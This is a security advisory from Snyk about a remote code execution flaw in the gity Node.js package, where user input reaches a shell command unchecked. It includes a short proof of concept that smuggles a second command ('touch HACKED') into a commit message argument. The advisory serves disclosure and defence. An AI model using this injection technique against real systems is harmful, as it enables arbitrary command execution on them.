Remote Code Execution (RCE) Affecting gity package, versions *


0.0
medium

Snyk CVSS

    Attack Complexity High
    Privileges Required High
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-GITY-1012730
  • published 25 Sep 2020
  • disclosed 24 Sep 2020
  • credit mik317

Introduced: 24 Sep 2020

CVE NOT AVAILABLE CWE-94 Open this link in a new tab

How to fix?

There is no fixed version for gity.

Overview

gity is a Git wrapper for Node.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). A user input is formatted inside a command that will be executed without any check.

PoC by mik317

  • Create the following PoC file:
// poc.js
var Git = require('gity');

var git = Git() .add('*.js') .commit('-m "added js files";touch HACKED;#') .run();

  • Check there aren't files called HACKED
  • Execute the following commands in another terminal:
npm i gity # Install affected module
node poc.js #  Run the PoC
  • Recheck the files: now HACKED has been created